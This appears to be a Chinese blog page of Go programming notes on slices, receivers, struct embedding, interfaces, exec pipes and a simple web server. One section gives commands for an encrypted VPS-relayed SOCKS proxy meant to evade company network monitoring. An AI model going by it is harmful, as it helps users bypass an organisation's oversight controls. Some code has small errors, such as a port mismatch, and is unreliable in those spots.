class="line"><span class="string">        &#125;,</span></span><br><span class="line"><span class="string">        "ref": 999,</span></span><br><span class="line"><span class="string">        "Created": "2018-04-09T23:00:00Z"</span></span><br><span class="line"><span class="string">    &#125;`</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> basket FruitBasket</span><br><span class="line">    err := json.Unmarshal(jsonData, &amp;basket)</span><br><span class="line">    <span class="keyword">if</span> err != nil &#123;</span><br><span class="line">         fmt.Println(err)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span> _, <span class="attr">item</span> := range basket.Fruit &#123;</span><br><span class="line">    fmt.Println(item.Name, item.PriceTag)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//https://learnku.com/articles/31320</span></span><br></pre></td></tr></table></figure>
<h3 id="go-的切片"><a href="#go-的切片" class="headerlink" title="go 的切片"></a>go 的切片</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line">对于 go 语言的数组，copy 和 view 是同时都存在的。</span><br><span class="line"></span><br><span class="line">copy 就是使用这个数组的时候我将这个数组拷贝一份，这样对于数组的增删改，是不会改变原数组的值的</span><br><span class="line">view 由数组执行切片所返回的对象是一个 view，即视图，若我们在视图上操作数组，会改变原数组，</span><br><span class="line">copy 场景</span><br><span class="line"></span><br><span class="line">package  main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span>  (</span><br><span class="line">  <span class="string">"fmt"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">func  updateArr(arr [<span class="number">5</span>]int)  &#123;</span><br><span class="line">  arr[<span class="number">0</span>]  =  <span class="number">100</span></span><br><span class="line">  fmt.Println(<span class="string">"修改后的arr："</span>, arr)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func  main()  &#123;</span><br><span class="line">  arr3  :=  [...]int&#123;<span class="number">2</span>,  <span class="number">4</span>,  <span class="number">5</span>,  <span class="number">6</span>,  <span class="number">7</span>&#125;</span><br><span class="line">  fmt.Println(<span class="string">"原来的："</span>, arr3)</span><br><span class="line">  updateArr(arr3)</span><br><span class="line">  fmt.Println(<span class="string">"再次查看原始的："</span>, arr3)</span><br><span class="line">&#125;</span><br><span class="line">输出结果：</span><br><span class="line">原来的： [<span class="number">2</span> <span class="number">4</span> <span class="number">5</span> <span class="number">6</span> <span class="number">7</span>]</span><br><span class="line">修改后的arr： [<span class="number">100</span> <span class="number">4</span> <span class="number">5</span> <span class="number">6</span> <span class="number">7</span>]</span><br><span class="line">再次查看原始的： [<span class="number">2</span> <span class="number">4</span> <span class="number">5</span> <span class="number">6</span> <span class="number">7</span>]</span><br><span class="line">如上代码可以看到，我们在 updateArr 里面修改了下标为 <span class="number">0</span> 的值，但是我们输出原始数组的时候，并没有变。这就是对数组 copy。</span><br><span class="line"></span><br><span class="line">view 场景</span><br><span class="line"></span><br><span class="line">func  updateArr(arr []int)  &#123;</span><br><span class="line">  arr[<span class="number">0</span>]  =  <span class="number">100</span></span><br><span class="line">  fmt.Println(<span class="string">"修改后的arr："</span>, arr)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func  main()  &#123;</span><br><span class="line">  arr3  :=  [...]int&#123;<span class="number">2</span>,  <span class="number">4</span>,  <span class="number">5</span>,  <span class="number">6</span>,  <span class="number">7</span>&#125;</span><br><span class="line">  fmt.Println(<span class="string">"原来的："</span>, arr3)</span><br><span class="line">  <span class="comment">// 使用切片</span></span><br><span class="line">  updateArr(arr3[:])</span><br><span class="line">  fmt.Println(<span class="string">"再次查看原始的："</span>, arr3)</span><br><span class="line">&#125;</span><br><span class="line">输出结果：</span><br><span class="line">原来的： [<span class="number">2</span> <span class="number">4</span> <span class="number">5</span> <span class="number">6</span> <span class="number">7</span>]</span><br><span class="line">修改后的arr： [<span class="number">100</span> <span class="number">4</span> <span class="number">5</span> <span class="number">6</span> <span class="number">7</span>]</span><br><span class="line">再次查看原始的： [<span class="number">100</span> <span class="number">4</span> <span class="number">5</span> <span class="number">6</span> <span class="number">7</span>]</span><br><span class="line">为什么 view 能够改变原数组</span><br><span class="line"></span><br><span class="line">虽然 Slice 本身是值类型，但是它内部使用了对数组的指针引用，所以修改切片数据，会将数组原有数据修改掉。</span><br><span class="line"></span><br><span class="line">当然，在理解上面的同时，一定要知道 go 是如何定义一个切片的</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> b []int</span><br><span class="line">所以，在 updateArr 这个函数传参的时候 arr []int 是传切片进去。不然会报错 https:<span class="comment">//learnku.com/articles/32171</span></span><br></pre></td></tr></table></figure>
<h3 id="结构体的值传递和引用传递"><a href="#结构体的值传递和引用传递" class="headerlink" title="结构体的值传递和引用传递"></a>结构体的值传递和引用传递</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line">值传递</span><br><span class="line"></span><br><span class="line">type person struct &#123;</span><br><span class="line">    name string</span><br><span class="line">    age int</span><br><span class="line">    gender string</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方法定义</span></span><br><span class="line">func (p person) setName(name string) &#123;</span><br><span class="line">    p.name = name</span><br><span class="line">    fmt.Println(<span class="string">"person name is:"</span>,  p.name)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (p *person) describe() &#123;</span><br><span class="line">    fmt.Printf(<span class="string">"我叫 %v, 我今年 %v 了"</span>, p.name, p.age)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    p := person&#123;<span class="string">"Tom"</span>, <span class="number">22</span>, <span class="string">"man"</span>&#125;</span><br><span class="line">    <span class="comment">// 修改name的值</span></span><br><span class="line">    p.setName(<span class="string">"jury"</span>)</span><br><span class="line">    p.describe()</span><br><span class="line">&#125;</span><br><span class="line">如上，我们在 setName 这个函数的接受者 是 p person。 此时，就相当于把 person&#123;<span class="string">"Tom"</span>, <span class="number">22</span>, <span class="string">"man"</span>&#125; 拷贝一份传递过去。</span><br><span class="line">引用传递</span><br><span class="line"></span><br><span class="line">引用传递就是将该值在内存中的存储地址传递过去。</span><br><span class="line"></span><br><span class="line">type person struct &#123;</span><br><span class="line">    name string</span><br><span class="line">    age int</span><br><span class="line">    gender string</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方法定义</span></span><br><span class="line">func (p *person) setName(name string) &#123;</span><br><span class="line">    p.name = name</span><br><span class="line">    fmt.Println(<span class="string">"person name is:"</span>,  p.name)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (p *person) describe() &#123;</span><br><span class="line">    fmt.Printf(<span class="string">"我叫 %v, 我今年 %v 了"</span>, p.name, p.age)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    p := person&#123;<span class="string">"Tom"</span>, <span class="number">22</span>, <span class="string">"man"</span>&#125;</span><br><span class="line">    <span class="comment">// 修改name的值</span></span><br><span class="line">    p.setName(<span class="string">"jury"</span>)</span><br><span class="line">    p.describe()</span><br><span class="line">&#125;</span><br><span class="line">我们在 setName 这个函数的接受者 是 p *person。 此时，就相当于把 person&#123;<span class="string">"Tom"</span>, <span class="number">22</span>, <span class="string">"man"</span>&#125; 存储地址传递过去。</span><br><span class="line">https:<span class="comment">//learnku.com/articles/32233</span></span><br></pre></td></tr></table></figure>
<h3 id="实现继承"><a href="#实现继承" class="headerlink" title="实现继承"></a>实现继承</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">  <span class="string">"fmt"</span></span><br><span class="line">  <span class="string">"strconv"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 动物类</span></span><br><span class="line">type Animal struct &#123;</span><br><span class="line">  name string</span><br><span class="line">  subject string</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 动物的公共方法</span></span><br><span class="line">func (a *Animal) eat(food string) &#123;</span><br><span class="line">  fmt.Println(a.name + <span class="string">"喜欢吃："</span> + food +<span class="string">",它属于:"</span> + a.subject)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 猫类，继承动物类https://learnku.com/articles/32295#reply102908</span></span><br><span class="line">type Cat struct &#123;</span><br><span class="line">  <span class="comment">// 继承动物的属性和方法</span></span><br><span class="line">  Animal</span><br><span class="line">  <span class="comment">// 猫自己的属性</span></span><br><span class="line">  age int</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 猫类独有的方法 type name struct&#123;&#125; 结构体 就相当于其他语言中的 class 类的概念。</span></span><br><span class="line">func (c Cat) sleep() &#123;</span><br><span class="line">  fmt.Println(c.name + " 今年" + strconv.Itoa(c.age) + "岁了,特别喜欢睡觉")# go 语言中，string + int，如果想要一个字符串，则需要对 int 类型的值转换为 string 类型，然后才能拼接。</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">  <span class="comment">// 创建一个动物类</span></span><br><span class="line">  animal := Animal&#123;<span class="attr">name</span>:<span class="string">"动物"</span>, <span class="attr">subject</span>:<span class="string">"动物科"</span>&#125;</span><br><span class="line">  animal.eat(<span class="string">"肉"</span>)</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 创建一个猫类</span></span><br><span class="line">  cat := Cat&#123;<span class="attr">Animal</span>: Animal&#123;<span class="attr">name</span>:<span class="string">"咪咪"</span>, <span class="attr">subject</span>:<span class="string">"猫科"</span>&#125;,<span class="attr">age</span>:<span class="number">1</span>&#125;</span><br><span class="line">  cat.eat(<span class="string">"鱼"</span>)</span><br><span class="line">  cat.sleep()</span><br><span class="line">&#125;</span><br><span class="line">输出结果：</span><br><span class="line">    动物喜欢吃：肉,它属于:动物科</span><br><span class="line">    咪咪喜欢吃：鱼,它属于:猫科</span><br><span class="line">    咪咪 今年<span class="number">1</span>岁了,特别喜欢睡觉</span><br></pre></td></tr></table></figure>
<p>###<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line">如果之前学过 PHP 或者其他语言，可以知道实现一个接口，不仅需要实现其接口里的方法，也需要使用 implements 显式说明其实现了该接口。</span><br><span class="line">go 则是 duck type，即像鸭子，那它就可以是个鸭子。也就是说，在 go 中，是要是结构体实现了某个接口指定的方法，那它就是实现了这个接口，不需要使用 implements 显式说明。</span><br><span class="line"></span><br><span class="line">现在说一下接口优点，最大的莫过于控制反转和解耦。举个例子，比如设计一个发送短信的服务，我想接入阿里云与腾讯云的短信业务，此时应该如何设计比较好？是在最底层通过 type 分类来区分，还是在上层通过传入不同的服务，来对应发送不同的运营商短信比较优雅？其实看 laravel 框架上的实现就很明白了。</span><br><span class="line"></span><br><span class="line">同时，go 中的多态的特性通过接口来展现的。</span><br><span class="line"></span><br><span class="line">package main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">"fmt"</span></span><br><span class="line"></span><br><span class="line">type Usb interface &#123;</span><br><span class="line">    Start()</span><br><span class="line">    Stop()</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">type Phone struct &#123;</span><br><span class="line">    Name string</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (p Phone) Start() &#123;</span><br><span class="line">    p.Name = <span class="string">"张三"</span> <span class="comment">//这里对引用传递还是值传递的作用一样生效，所以这里没有变化</span></span><br><span class="line">    fmt.Println(<span class="string">"手机开始工作了..."</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (p Phone) Stop() &#123;</span><br><span class="line">    fmt.Println(p.Name) <span class="comment">//李四</span></span><br><span class="line">    fmt.Println(<span class="string">"手机停止工作了..."</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">type Carame struct &#123;</span><br><span class="line">    Name string</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (c *Carame) Start() &#123;</span><br><span class="line">    c.Name = <span class="string">"张三"</span> <span class="comment">//这里对引用传递还是值传递的作用一样生效，所以这里有变化</span></span><br><span class="line">    fmt.Println(<span class="string">"相机开始工作了..."</span>)</span><br><span class="line">&#125;</span><br><span class="line">func (c *Carame) Stop() &#123;</span><br><span class="line">    fmt.Println(c.Name) <span class="comment">//张三</span></span><br><span class="line">    fmt.Println((*c).Name) <span class="comment">//张三</span></span><br><span class="line">    fmt.Println(<span class="string">"相机停止工作了..."</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">type Computer struct &#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//Usb是前面定义的接口，这里调用的2个函数，在结构体中一定都要有声明过，否则报错。</span></span><br><span class="line">func (com *Computer) Working(usb Usb) &#123;</span><br><span class="line">    usb.Start()</span><br><span class="line">    usb.Stop()</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    <span class="keyword">var</span> phone = Phone&#123;&#125;</span><br><span class="line">    phone.Name = <span class="string">"李四"</span></span><br><span class="line">    <span class="keyword">var</span> carame = Carame&#123;&#125;</span><br><span class="line">    carame.Name = <span class="string">"李四"</span></span><br><span class="line">    <span class="keyword">var</span> computer = Computer&#123;&#125;</span><br><span class="line">    <span class="comment">//这里传入参数是地址还是对象，需要依靠原结构体里定义的方法来判断(比如Phone结构体)。比如Phone结构体中的start方法是p，此时Working传入对象还是地址都可以。如果是*p，则必须传入地址。与com的类型无关。</span></span><br><span class="line">    computer.Working(&amp;phone)</span><br><span class="line">    computer.Working(&amp;carame)</span><br><span class="line">    <span class="comment">//最后输出</span></span><br><span class="line">    <span class="comment">// 手机开始工作了...</span></span><br><span class="line">    <span class="comment">// 李四</span></span><br><span class="line">    <span class="comment">// 手机停止工作了...</span></span><br><span class="line">    <span class="comment">// 相机开始工作了...</span></span><br><span class="line">    <span class="comment">// 张三</span></span><br><span class="line">    <span class="comment">// 相机停止工作了...</span></span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/golang/t/32266</span></span><br></pre></td></tr></table></figure></p>
<h3 id="面向对象特性"><a href="#面向对象特性" class="headerlink" title="面向对象特性"></a>面向对象特性</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">接口使用 interface 关键字声明，任何实现接口定义方法的类都可以实例化该接口，接口和实现类之间没有任何依赖</span><br><span class="line">type Sayer interface &#123;</span><br><span class="line">    Say(message string)</span><br><span class="line">    SayHi()</span><br><span class="line">&#125;</span><br><span class="line">继承使用组合的方式实现</span><br><span class="line"></span><br><span class="line">type Animal struct &#123;</span><br><span class="line">    Name string</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (a *Animal) Say(message string) &#123;</span><br><span class="line">    fmt.Printf(<span class="string">"Animal[%v] say: %v\n"</span>, a.Name, message)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">type Dog struct &#123;</span><br><span class="line">    Animal</span><br><span class="line">&#125;</span><br><span class="line">Dog 将继承 Animal 的 Say 方法，以及其成员 Name</span><br><span class="line">子类可以重新实现父类的方法</span><br><span class="line"></span><br><span class="line"><span class="comment">// override Animal.Say</span></span><br><span class="line">func (d *Dog) Say(message string) &#123;</span><br><span class="line">    fmt.Printf(<span class="string">"Dog[%v] say: %v\n"</span>, d.Name, message)</span><br><span class="line">&#125;</span><br><span class="line">Dog.Say 将覆盖 Animal.Say</span><br><span class="line"><span class="keyword">var</span> sayer Sayer</span><br><span class="line"></span><br><span class="line">sayer = &amp;Dog&#123;Animal&#123;<span class="attr">Name</span>: <span class="string">"Yoda"</span>&#125;&#125;</span><br><span class="line">sayer.Say(<span class="string">"hello world"</span>)</span><br></pre></td></tr></table></figure>
<h3 id="使用-Proxy-突破网管的限制"><a href="#使用-Proxy-突破网管的限制" class="headerlink" title="使用 Proxy 突破网管的限制"></a>使用 Proxy 突破网管的限制</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//gitee.com/snail/proxy</span></span><br><span class="line">为了绕开公司网络的监测，需要加密本地发往代理服务器的数据，然后由代理服务器解密数据，再发往真正的服务器，因些我们需要两级代理</span><br><span class="line">./proxy keygen -C proxy</span><br><span class="line">执行命令会在当前目录下生成 proxy.key 和 proxy.crt 两个文件，将这两个文件复制到本机的 <span class="built_in">Proxy</span> 安装目录中</span><br><span class="line">在 VPS 上执行命令：</span><br><span class="line">./proxy socks -t tls -p <span class="string">":3333"</span> -C proxy.crt -K proxy.key --daemon --forever --log proxy.log</span><br><span class="line"></span><br><span class="line">本机打开 <span class="built_in">Proxy</span> 安装目录中的 “bootstrap.bat” 文件，将 “proxy.exe ...” 这一行修改为：</span><br><span class="line"></span><br><span class="line">proxy.exe socks -p <span class="string">":3334"</span> -t tcp -T tls -P <span class="string">"IP:3333"</span> -C proxy.crt -K proxy.key --debug</span><br><span class="line">其中小写 <span class="string">"p"</span> 表示本机监听端口，大写 “P” 表示 VPS 端监听地址，小写 “t” 表示本机使用的传输协议，大写 “T” 表示 VPS 端使用的传输协议。保存文件后，双击 “bootstrap.bat” 即可启动 <span class="built_in">Proxy</span>。</span><br><span class="line">https:<span class="comment">//learnku.com/articles/32369</span></span><br></pre></td></tr></table></figure>
<h3 id="go-执行系统命令时不能直接使用管道符"><a href="#go-执行系统命令时不能直接使用管道符" class="headerlink" title="go 执行系统命令时不能直接使用管道符"></a>go 执行系统命令时不能直接使用管道符</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line">方法一（异步）</span><br><span class="line"></span><br><span class="line">func <span class="keyword">async</span>() &#123;</span><br><span class="line">    cmd1 := exec.Command(<span class="string">"ls"</span>, <span class="string">"."</span>)</span><br><span class="line">    cmd2 := exec.Command(<span class="string">"grep"</span>, <span class="string">"go"</span>)</span><br><span class="line">    out, <span class="attr">_</span> := cmd1.StdoutPipe()</span><br><span class="line">    <span class="keyword">in</span>, <span class="attr">_</span> := cmd2.StdinPipe()</span><br><span class="line">    cmd2.Stdout = os.Stdout</span><br><span class="line">    go func() &#123;</span><br><span class="line">        defer func() &#123;</span><br><span class="line">            out.Close()</span><br><span class="line">            <span class="keyword">in</span>.Close()</span><br><span class="line">        &#125;()</span><br><span class="line">        io.Copy(<span class="keyword">in</span>, out)</span><br><span class="line">    &#125;()</span><br><span class="line">    cmd1.Run()</span><br><span class="line">    cmd2.Run()</span><br><span class="line">&#125;</span><br><span class="line">方法二（同步）</span><br><span class="line"></span><br><span class="line">func sync() &#123;</span><br><span class="line">    cmd1 := exec.Command(<span class="string">"ls"</span>, <span class="string">"."</span>)</span><br><span class="line">    cmd2 := exec.Command(<span class="string">"grep"</span>, <span class="string">"go"</span>)</span><br><span class="line">    <span class="keyword">in</span>, <span class="attr">_</span> := cmd2.StdinPipe()</span><br><span class="line">    cmd1.Stdout = <span class="keyword">in</span></span><br><span class="line">    cmd2.Stdout = os.Stdout</span><br><span class="line">    cmd2.Start()</span><br><span class="line">    cmd1.Run()</span><br><span class="line">    <span class="keyword">in</span>.Close()</span><br><span class="line">    cmd2.Wait()</span><br><span class="line">&#125;</span><br><span class="line">方法三（多个）</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    cmd1 := exec.Command(<span class="string">"ls"</span>, <span class="string">"."</span>)</span><br><span class="line">    cmd2 := exec.Command(<span class="string">"grep"</span>, <span class="string">"go"</span>)</span><br><span class="line">    cmd3 := exec.Command(<span class="string">"grep"</span>, <span class="string">"main"</span>)</span><br><span class="line">    cmd3.Stdout = os.Stdout</span><br><span class="line">    pipe(cmd1, cmd2, cmd3)</span><br><span class="line">    cmd1.Run()</span><br><span class="line">    cmd2.Run()</span><br><span class="line">    cmd3.Run()</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func pipe(cmds ...*exec.Cmd) &#123;</span><br><span class="line">    <span class="keyword">for</span> i, <span class="attr">cmd</span> := range cmds &#123;</span><br><span class="line">        <span class="keyword">if</span> i &gt; <span class="number">0</span> &#123;</span><br><span class="line">            out, <span class="attr">_</span> := cmds[i<span class="number">-1</span>].StdoutPipe()</span><br><span class="line">            <span class="keyword">in</span>, <span class="attr">_</span> := cmd.StdinPipe()</span><br><span class="line">            go func() &#123;</span><br><span class="line">                defer func() &#123;</span><br><span class="line">                    out.Close()</span><br><span class="line">                    <span class="keyword">in</span>.Close()</span><br><span class="line">                &#125;()</span><br><span class="line">                io.Copy(<span class="keyword">in</span>, out)</span><br><span class="line">            &#125;()</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/33592</span></span><br></pre></td></tr></table></figure>
<h3 id="实现一个-web-服务器"><a href="#实现一个-web-服务器" class="headerlink" title="实现一个 web 服务器"></a>实现一个 web 服务器</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    <span class="string">"io"</span></span><br><span class="line">    <span class="string">"log"</span></span><br><span class="line">    <span class="string">"net/http"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    http.HandleFunc(<span class="string">"/hello"</span>, helloHandler)</span><br><span class="line">    err := http.ListenAndServe(<span class="string">":8000"</span>, nil)</span><br><span class="line">    <span class="keyword">if</span> err != nil &#123;</span><br><span class="line">        log.Fatal(<span class="string">"ListenAndServe:"</span>, err.Error())</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func helloHandler(w http.ResponseWriter, r *http.Request) &#123;</span><br><span class="line">    io.WriteString(w, <span class="string">"hello, world!"</span>)</span><br><span class="line">&#125;</span><br><span class="line">$ go run hello.go</span><br><span class="line">$ curl http:<span class="comment">//localhost:8080/hello</span></span><br><span class="line">hello, world!</span><br><span 